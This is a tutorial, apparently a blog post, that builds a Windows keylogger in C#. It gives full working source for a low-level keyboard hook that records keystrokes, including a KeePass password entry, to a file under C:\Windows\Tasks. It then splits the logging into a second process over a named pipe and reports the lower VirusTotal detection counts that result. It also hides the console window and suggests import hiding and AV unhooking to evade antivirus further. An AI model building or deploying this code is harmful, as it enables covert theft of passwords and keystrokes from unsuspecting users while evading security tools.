Monitoring keystokes on a Windows system can be done by implementing a hook. Microsoft provide the following description of hooks;
A hook is a mechanism by which an application can intercept events, such as messages, mouse actions, and keystrokes. A function that intercepts a particular type of event is known as a hook procedure. A hook procedure can act on each event it receives, and then modify or discard the event.
SetWindowHookEx
To monitor keystokes, we can use the SetWindowHookEx function.
HHOOK SetWindowsHookExA(
[in] int idHook, // The type of hook to be installed. WH_KEYBOARD_LL (13) for Low Level Keyboard events.
[in] HOOKPROC lpfn, // A pointer to the keyboard hook
[in] HINSTANCE hmod, // A handle to the DLL containing the hook procedure pointed to by the lpfn parameter.
[in] DWORD dwThreadId // Thread ID to be monitored. If set to zero the hook procedure is associated with all existing threads running in the same desktop as the calling thread
);
So, we can setup the hook using the following call;
SetWindowsHookEx(13, logKeystoke, GetModuleHandle(currentModule.ModuleName), 0);
We then just need to implement the callback function.
LowLevelKeyboardProc
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode, // A code the hook procedure uses to determine how to process the message.
_In_ WPARAM wParam, // The identifier of the keyboard message. This parameter can be one of the following messages: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
_In_ LPARAM lParam // A pointer to a KBDLLHOOKSTRUCT structure.
);
We can implement the callback using the following code;
private static IntPtr logKeystoke(int nCode, IntPtr wParam, IntPtr lParam)
{
// This function is triggered every time a key is pressed. Make sure it's a WM_KEYDOWN (0x0100) event.
if (nCode >= 0 && wParam == (IntPtr)0x0100)
{
// Parse virtual key codes
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((System.Windows.Forms.Keys)vkCode);
}
return CallNextHookEx(hookID, nCode, wParam, lParam);
}
Implementing the Code
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System;
namespace Logger
{
public class Program
{
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private static LowLevelKeyboardProc keyboardCallback = logKeystoke;
private static IntPtr hookID = IntPtr.Zero;
public static void Main()
{
// Get a handle to the current process
Process currentProcess = Process.GetCurrentProcess();
// Get a handle to the current mainmodule
ProcessModule currentModule = currentProcess.MainModule;
// proc = HookCallBack
hookID = SetWindowsHookEx(13, logKeystoke, GetModuleHandle(currentModule.ModuleName), 0);
Application.Run();
}
private static IntPtr logKeystoke(int nCode, IntPtr wParam, IntPtr lParam)
{
// This function is triggered every time a key is pressed. Make sure it's a WM_KEYDOWN (0x0100) event.
if (nCode >= 0 && wParam == (IntPtr)0x0100)
{
// Parse virtual key codes
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((System.Windows.Forms.Keys)vkCode);
}
return CallNextHookEx(hookID, nCode, wParam, lParam);
}
}
}
Running the application and entering a password into a Keypass database shows the keystrokes are being recorded;
Scanning the application with Windows Defender also shows no threats are found. However, to make the application useful, we need to log the keystokes to disk. To do this, we can just modify the callback function to write the results to disk;
private static IntPtr logKeystoke(int nCode, IntPtr wParam, IntPtr lParam)
{
// This function is triggered every time a key is pressed. Make sure it's a WM_KEYDOWN (0x0100) event.
if (nCode >= 0 && wParam == (IntPtr)0x0100)
{
// Parse virtual key codes
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((System.Windows.Forms.Keys)vkCode);
StreamWriter sw = new StreamWriter(@"C:\Windows\Tasks\log.txt", true);
sw.Write((Keys)vkCode);
sw.Close();
}
return CallNextHookEx(hookID, nCode, wParam, lParam);
}
The original sample scored 9/71 vendors on VirusTotal. Adding logging code almost doubles this to 17/71!
So whilst the usage of SetWindowHookEx itself is seen as a suspicious indicator, it appears when combined with file output functions, the chance of detection increases.
It may be possible to hide the function imports from static analysis.
Named Pipes
Another way we can capture keystrokes, and still log to disk is by abstracting the functionality into two applications, then use named pipes for interprocess communication. So, one application implements the code to log to disk, like so;
using System;
using System.IO;
using System.IO.Pipes;
using System.Linq;
using System.Reflection.Emit;
using System.Text;
using System.Threading.Tasks;
namespace NamedPipeServer
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Starting server...");
var server = new NamedPipeServerStream("LoggingPipe");
server.WaitForConnection();
StreamReader reader = new StreamReader(server);
StreamWriter writer = new StreamWriter(server);
while (true)
{
var line = reader.ReadLine();
Console.WriteLine(line);
StreamWriter sw = new StreamWriter(@"C:\Windows\Tasks\logs.txt", true);
sw.Write(line);
sw.Close();
}
}
}
}
We then modifying the existing SetWindowHookEx code to output to this named pipe;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System;
using System.IO;
using System.IO.Pipes;
namespace Logger
{
public class Program
{
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private static LowLevelKeyboardProc keyboardCallback = logKeystoke;
private static IntPtr hookID = IntPtr.Zero;
private static NamedPipeClientStream client;
public static void Main()
{
// connect to our named pipe server
client = new NamedPipeClientStream("LoggingPipe");
client.Connect();
// Get a handle to the current process
Process currentProcess = Process.GetCurrentProcess();
// Get a handle to the current mainmodule
ProcessModule currentModule = currentProcess.MainModule;
hookID = SetWindowsHookEx(13, logKeystoke, GetModuleHandle(currentModule.ModuleName), 0);
Application.Run();
}
private static IntPtr logKeystoke(int nCode, IntPtr wParam, IntPtr lParam)
{
// This function is triggered every time a key is pressed. Make sure it's a WM_KEYDOWN (0x0100) event.
if (nCode >= 0 && wParam == (IntPtr)0x0100)
{
// Parse virtual key codes
int vkCode = Marshal.ReadInt32(lParam);
writeLog(Convert.ToString((System.Windows.Forms.Keys)vkCode));
}
return CallNextHookEx(hookID, nCode, wParam, lParam);
}
private static void writeLog(String logEntry)
{
StreamWriter writer = new StreamWriter(client);
writer.WriteLine(logEntry);
writer.Flush();
}
}
}
Using this strategy, VirusTotal detection rates for the SetWindowHookEx application goes down to 11/71. The logging application is not detected.
Hiding the Window
To make sure our application doesn’t show a command prompt window when running, set the output type to Windows application.
In Conclusion
There is still room for improvement. Utilising named pipes to abstract functionality does seem to benefit, but ideally implementing import address table hiding and and AV DLL unhooking would reduce detection rates.